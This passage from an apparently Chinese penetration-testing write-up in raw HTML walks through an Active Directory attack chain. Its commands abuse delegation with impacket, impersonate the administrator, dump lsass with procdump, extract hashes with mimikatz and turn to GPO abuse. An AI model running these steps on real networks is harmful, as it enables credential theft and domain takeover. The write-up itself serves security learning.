1.75;font-family: Menlo, Operator Mono, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">impacket-rbcd -delegate-to win8$ -delegate-from test_computer598$ -dc-ip 10.0.0.10 ds/dashe:p@ssw0rd -action write</code></pre><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.29814814814814816" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=43688c8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd05dHckGAXhyvh0oQHuicKqOXaQhKnqROkwgjaF7Z2AuqsUB2Gr8UicfaQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">票据导出</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">当建立委派之后进行票据导出</p><pre style="text-align: left;line-height: 1.5;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;overflow-x: auto;border-radius: 8px;margin: 10px 8px;padding: 0!important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgbicbVz8KYS6jibcojsOxyuZ0P7Iia0BBic4NKahfHCKPse13icW5W69iciav765f43b0YNia8Kib3rEibha5B/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#39;Operator Mono&#39;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: left;line-height: 1.75;font-family: Menlo, Operator Mono, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">impacket-getST -dc-ip 10.0.0.10 ds.local/test_computer598\$:p@ssw0rd -spn cifs/win8.ds.local -impersonate administrator</code></pre><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.15925925925925927" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1cb2c6a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0S8ylgWzd0ADBLzFXTyYfdS2rSfLJ2vqtk0xn3QBNdl7NYOMXsLbmEQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">在进行票据导出的时候有一个需要注意的地方，这步操作需要与域控进行交互，所以需要与域控的时间同步。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">在操作时如果提示 <code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">clock Skew too great</code>，就是由于时间没有同步造成的。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.11018518518518519" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=83e593d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0tpMibHhcFKaZe1baxicibOmU5sh194LKVib1sKyGumFjRNRdTmq7gqVOhA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">经过搜索相关的资料发现可以使用下面的命令，将域控时间和本机时间直接同步<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">sudo ntpdate 10.0.0.10</code></p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.16507936507936508" title="null" data-type="png" data-w="630" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=fe2e6a68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0qCaSlucFiawjrvAicABmia2vQiaKicMcChiaibebvxUuxUibrE98B1emffia67w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">导入票据</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">export KRB5CCNAME=administrator.ccache</code></p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">dumphash</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">导入完该票据后，我们可以利用<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">impacket-smbclient</code>来上传 mimikatz 等工具来获取用户 hash，这里笔者使用 procdump 获取 dmp 文件，本机 mimikatz 解析的方式获取 hash。</p><h4 style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1em;font-weight:bold;margin:2em 8px 0.5em;color:rgba(15, 76, 129, 1);">上传 procdump</h4><pre style="text-align: left;line-height: 1.5;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;overflow-x: auto;border-radius: 8px;margin: 10px 8px;padding: 0!important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgbicbVz8KYS6jibcojsOxyuZ0P7Iia0BBic4NKahfHCKPse13icW5W69iciav765f43b0YNia8Kib3rEibha5B/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#39;Operator Mono&#39;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: left;line-height: 1.75;font-family: Menlo, Operator Mono, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">impacket-smbclient administrator@win8.ds.local -k -no-pass -dc-ip 10.0.0.10<br/>info<br/>use c$<br/>put procdump64.exe</code></pre><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.22037037037037038" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2d5d1e5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0X32T96wF0QzRCicibC96zSux5pKKHdSL3EBThv7OWYKTs3gnONWMZNsA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里如果出现<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">无法连接445</code>的错误，是因为目前机器是在域外，没有域控的路由表，可以手动修改 hosts 文件。将 win8.ds.local 与他的 ip 对应。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.1037037037037037" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=03bbfd03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0dxmZP2lUTKcqhxibsUTgpcRrcYlicVicUiaDkOVMxp5ic7gkq0R91pLWw1A%2F640%3Fwx_fmt%3Dpng"/></figure><pre style="text-align: left;line-height: 1.5;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;overflow-x: auto;border-radius: 8px;margin: 10px 8px;padding: 0!important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgbicbVz8KYS6jibcojsOxyuZ0P7Iia0BBic4NKahfHCKPse13icW5W69iciav765f43b0YNia8Kib3rEibha5B/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#39;Operator Mono&#39;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: left;line-height: 1.75;font-family: Menlo, Operator Mono, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">vim /etc/hosts<br/>sudo /etc/init.d/networking restart</code></pre><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.36328502415458935" title="null" data-type="png" data-w="1035" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0da1f6a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0zP7kjWhRObsMF2lnEuOEI7P31NAP3qpH0oViclkNTrps93cJ1wLFiaGw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">也可以直接将域控的 ip，设置为本机的 dns 服务器</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.47959183673469385" title="null" data-type="png" data-w="882" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a32443f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0ZT12rPP0DajrbUq0UsoEsqVxgCJ8WHWy3KSqc3tako9lmfoelJWOHQ%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1em;font-weight:bold;margin:2em 8px 0.5em;color:rgba(15, 76, 129, 1);">命令执行</h4><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">利用<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">impacket-smbexec</code>执行命令，使 procdump 获取 dmp 文件</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">impacket-smbexec administrator@win8.ds.local -k -no-pass -dc-ip 10.0.0.10</code></p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.13055555555555556" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f440aea7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0yMsLpkqEQBR5Obw8hzZEv5XVYyrLiaxs6fIvff4R8IMrW8AaO6wfetg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">procdump64.exe -accepteula -ma lsass.exe lsass.dmp</code></p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.33425925925925926" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d606dcea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd09XFaJAyZ447dxEAxhAwQc80UJdtaTQfHibgpg4Lv1CaNnR9mdmMPQcw%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1em;font-weight:bold;margin:2em 8px 0.5em;color:rgba(15, 76, 129, 1);">导出下载</h4><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.2101851851851852" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9d59a29e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0qNl2AkVHKHxgWTHZ3H9OgaL9p6pNlQLNWShswosbf2clYYMB27xLrg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">本地利用 mimikatz 解析 lsass.dmp 文件
通过查看 lsass.dmp 解密出来的 hash，发现域管曾经登录过这台机器。从而拿到域管账户。</p><pre style="text-align: left;line-height: 1.5;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;overflow-x: auto;border-radius: 8px;margin: 10px 8px;padding: 0!important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgbicbVz8KYS6jibcojsOxyuZ0P7Iia0BBic4NKahfHCKPse13icW5W69iciav765f43b0YNia8Kib3rEibha5B/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#39;Operator Mono&#39;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: left;line-height: 1.75;font-family: Menlo, Operator Mono, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">mimikatz.exe &#34;sekurlsa::minidump lsass.dmp&#34; &#34;sekurlsa::logonPasswords full&#34; &#34;exit&#34; &gt; pssword.txt</code></pre><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.637962962962963" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=eb10d384&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0ibk1V1EYv3OSzcqeyOSHVFic7ibqCHyFEIX2HDDVrerMFemojRIWIvicOg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">接下来对 10.0.0.12 机器进行扫描，发现该机器不通，通过查看 ldap 文档中 lastLogon 属性的值，确定最后登录的时间，判断该机器是否存活。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3731481481481482" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4b38dd3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0oRX11cusJWkoiane8CvPBRJeanwbuq6lmebwGG4K0WbWuMIIbU4ic5iaw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">利用 windows 中的 w32tm.exe 可以对其进行解密，发现最后登录的时间是 4 月 28 号，判断应该是防火墙的原因导致不通。<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">w32tm.exe /ntte xxxxxxxx</code></p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3316239316239316" title="null" data-type="png" data-w="585" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=53c88015&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0dCwngUrbZYcic9pJYUkpVZoWprZmM7bDqA4hCyBndJGT98tdYgaXKGQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">既然我们拿到了域管的账户，接下来登录域控，进行 GPO 策略的下发，从而关闭目标机器的防火墙，但是发现无法进行 rdp 连接。只能想办法通过使用命令的方式去添加 GPO。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.43424787133396403" title="null" data-type="png" data-w="1057" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c9561f4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0tPj5Z4dsibhPw2Uoc7GQIyrLx2XAYTicLUqlzM5whZjgenzUfCGJhbOQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">GPO 下发</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用命令创建策略可以利用 github 上面的 pyGPOAbuse 项目实现。<a href="https://github.com/Hackndo/pyGPOAbuse" target="_blank">https://github.com/Hackndo/pyGPOAbuse</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 